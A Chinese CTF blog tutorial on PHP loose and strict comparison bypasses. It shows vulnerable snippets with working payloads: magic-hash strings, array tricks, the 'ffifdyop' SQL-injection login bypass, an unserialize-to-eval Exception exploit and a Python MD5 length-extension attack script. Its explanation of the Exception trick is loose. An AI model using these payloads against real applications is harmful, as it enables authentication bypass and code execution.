深入浅出PHP强弱比较

本文最后更新于 2024年9月21日 晚上

鉴于最近打的一个比赛,来了解一下ctf中经常出现的弱等于强等于的问题

PHP弱类型

Q1:二者弱比教

这部分内容自己检索,简要的说==的情况下,左右两边的类型会进行转化。

举个例子来说

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) == md5($b))
echo "you are right!";
else
echo "erro";
?>

如题,需要我们传入的内容不一样,但是MD5加密之后需要相同

常见的做法有两种

方法一:

弱比教数组绕过,payload如下

1
?a[]=1&b[]=2

先进行数组的比较,1!=2,再md5加密,对于对数组的加密,默认是Null,两者加密之后相同

方法二:

常见的知识积累

1
?a=240610708&b=s214587387a0

原理是两者MD5加密之后开头都是0e,在php语言中,0e会在php解释为0

以下是常见的一些

1
2
3
4
5
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a0

sha1的弱比教类比上面的内容

Q2:自身弱比教

例题如下

1
2
3
4
5
6
7
8
<?php
show_source(__FILE__);
$a=$_GET['a'];
if( md5($a) == $a)
echo "you are right!";
else
echo "erro";
?>

只需要md5加密之后等于自己就行

1
?a=0e215962017

做下记录就行

Q3:登入用户Md5(万能密码)

这个常见于登陆界面

可以参考这个文章,文章

ffifdyop 经过两次转化后得到的结果是 'or'6�]��!r,��b。位于 or 两侧的单引号可以用于闭合两端的单引号,使得 or 不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符 的作用,以下是常见的例子

1
2
ffifdyop
129581926211651571912466741651878684928

Q4:Md5双层嵌套

1
md5(md5($a))==md5($a)

列举几个例子

1
2
3
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

可本地自己测试

PHP强类型

Q1:二者强比较

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) === md5($b))
echo "you are right!";
else
echo "erro";
?>

也可以用数组进行绕过

1
?a[]=1&b[]=2

Q2:二者强比较(类限制)

当限制在类中无法利用数组,可以尝试md5碰撞,这里推荐工具fastcoll

1

然后工具执行

2

接下来写一个例题就行比较一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

$a=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\1.txt");

$b=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\2.txt");

$aa=urlencode($a);
$bb=urlencode($b);
if($aa===$bb)
echo("ok");
else
echo("erro");
echo "</br>";
$aaa=md5($a);
$bbb=md5($b);
if($aaa===$bbb)
echo("ok");
else
echo("erro");

3

Q3:MD5和sha1强比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
show_source(__FILE__);
class cianiao
{
public $var1;
public $var2;

function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);

这里可以利用php的EXCEPTION异常类进行绕过,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class cianiao
{
public $var1;
public $var2;
}

$cmd="phpinfo();?>";
$a = new Exception($cmd);
$b = new Exception($cmd,1);

$tr = new cianiao();
$tr->var1=$a;
$tr->var2=$b;

echo urlencode(serialize($tr));

输入可以进行绕过,原理是采用Exception类绕过md5sha1等哈希函数的强等于(===)检查,因为在特定情况下,PHP的类型转换机制会导致哈希碰撞被误解为相等。这种类型转换的特性可以通过抛出异常并捕获它们来实现。

ps:路径长度和包含的特殊字符(如中文字符)在序列化和反序列化过程中可能会出现编码问题,尤其是在不同环境中(如不同版本的 PHP,不同的操作系统)处理这些路径时,会导致路径解析错误或乱码,从而影响程序的正常执行。因此我的没有显示页面,但是也显示了字符串。

Q4:MD5长度拓展攻击

先上个例题吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file( __FILE__);
error_reporting(0);
$secret=bin2hex(random_bytes(16));
echo md5($secret);//告诉你他的MD5吧
echo "</br>";
$orange=$_GET['orange'];
if(substr($orange,-6)!=='orange'){
die("nonono");
}
$md5=$_GET['md5'];
if(md5($secret.$orange)===$md5){
echo "good job!";
}

已知secret的MD5值,secret的长度为32,orange的末尾值是orange,需要得到最后的等式,我们不讲原理,直接做题吧

贴上解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from struct import pack, unpack
from math import floor, sin


"""
MD5 Extension Attack
====================

@refs
https://github.com/shellfeel/hash-ext-attack
"""


class MD5:

def __init__(self):
self.A, self.B, self.C, self.D = \
(0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476) # initial values
self.r: list[int] = \
[7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + \
[4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4 # shift values
self.k: list[int] = \
[floor(abs(sin(i + 1)) * pow(2, 32))
for i in range(64)] # constants

def _lrot(self, x: int, n: int) -> int:
# left rotate
return (x << n) | (x >> 32 - n)

def update(self, chunk: bytes) -> None:
# update the hash for a chunk of data (64 bytes)
w = list(unpack('<'+'I'*16, chunk))
a, b, c, d = self.A, self.B, self.C, self.D

for i in range(64):
if i < 16:
f = (b & c) | ((~b) & d)
flag = i
elif i < 32:
f = (b & d) | (c & (~d))
flag = (5 * i + 1) % 16
elif i < 48:
f = (b ^ c ^ d)
flag = (3 * i + 5) % 16
else:
f = c ^ (b | (~d))
flag = (7 * i) % 16

tmp = b + \
self._lrot((a + f + self.k[i] + w[flag])
& 0xffffffff, self.r[i])
a, b, c, d = d, tmp & 0xffffffff, b, c

self.A = (self.A + a) & 0xffffffff
self.B = (self.B + b) & 0xffffffff
self.C = (self.C + c) & 0xffffffff
self.D = (self.D + d) & 0xffffffff

def extend(self, msg: bytes) -> None:
# extend the hash with a new message (padded)
assert len(msg) % 64 == 0
for i in range(0, len(msg), 64):
self.update(msg[i:i + 64])

def padding(self, msg: bytes) -> bytes:
# pad the message
length = pack('<Q', len(msg) * 8)

msg += b'\x80'
msg += b'\x00' * ((56 - len(msg)) % 64)
msg += length

return msg

def digest(self) -> bytes:
# return the hash
return pack('<IIII', self.A, self.B, self.C, self.D)


def verify_md5(test_string: bytes) -> None:
# (DEBUG function) verify the MD5 implementation
from hashlib import md5 as md5_hashlib

def md5_manual(msg: bytes) -> bytes:
md5 = MD5()
md5.extend(md5.padding(msg))
return md5.digest()

manual_result = md5_manual(test_string).hex()
hashlib_result = md5_hashlib(test_string).hexdigest()

assert manual_result == hashlib_result, "Test failed!"


def attack(message_len: int, known_hash: str,
append_str: bytes) -> tuple:
# MD5 extension attack
md5 = MD5()

previous_text = md5.padding(b"*" * message_len)
current_text = previous_text + append_str

md5.A, md5.B, md5.C, md5.D = unpack("<IIII", bytes.fromhex(known_hash))
md5.extend(md5.padding(current_text)[len(previous_text):])

return current_text[message_len:], md5.digest().hex()


if __name__ == '__main__':

message_len = int(input("[>] Input known text length: "))
known_hash = input("[>] Input known hash: ").strip()
append_text = input("[>] Input append text: ").strip().encode()

print("[*] Attacking...")

extend_str, final_hash = attack(message_len, known_hash, append_text)

from urllib.parse import quote
from base64 import b64encode

print("[+] Extend text:", extend_str)
print("[+] Extend text (URL encoded):", quote(extend_str))
print("[+] Extend text (Base64):", b64encode(extend_str).decode())
print("[+] Final hash:", final_hash)

本例题出题并不严谨,只是告诉一种情况

4

把对应的内容填上去即可。


深入浅出PHP强弱比较
https://0ran9ewww.github.io/2024/08/04/学习文章/深入浅出PHP强弱比较/
作者
orange
发布于
2024年8月4日
许可协议